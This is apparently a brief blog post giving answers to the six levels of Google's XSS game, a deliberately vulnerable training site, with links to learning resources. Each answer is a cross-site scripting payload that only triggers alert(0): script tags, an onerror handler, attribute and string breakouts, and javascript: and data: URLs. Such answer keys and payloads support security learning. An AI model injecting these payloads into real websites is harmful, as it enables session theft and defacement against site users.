Google xss game answers

Ok so earlier today I stopped by Googles new xss game to check it out and ill just say, it was fun and a good refresher on xss.  I might do a real writeup and explain each xss in detail in another blog post but I figured id just post the answers for now while im on a lunch break at work.

SITE: xss-game.appspot.com



DO NOT CHEAT YOURSELF OUT OF LEARNING - The answers will need to be highlighted to view, I don't want to spoil the fun for everyone.

Resources to learn about XSS:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://excess-xss.com/
http://www.breakthesecurity.com/2011/10/cross-site-scriptingxss-complete.html
http://www.securitytube-training.com/online-courses/javascript-for-pentesters/index.html
http://www.pentesteracademy.com/course?id=11


Below you will find my answers to the six challenges on their site.

Challenge 1:

In the search form enter:

<script>alert(0);</script>

Challenge 2:
In your comment enter:

<img src=wizbang onerror='alert(0)' /> 

Challenge 3:
 in the url bar enter:

' /><script>alert(0);</script>

Challenge 4:
In the timer form enter:

2');alert('0

Challenge 5:
This one is pretty neat, on the second page (signup) you need to get the next parameter to run your javascript.  To do this just enter:

signup?next=javascript:alert(0);

Challenge 6:
This one is really cool because you need to load the javascript from a resource on a webpage or some other way.  To complete the final challange I entered:

/level6/frame#data:text/javascript,alert(0);

 

Hopefully ill do a formal writeup and really explain why all of the answers work and maybe show some alternative ways to complete the challenges.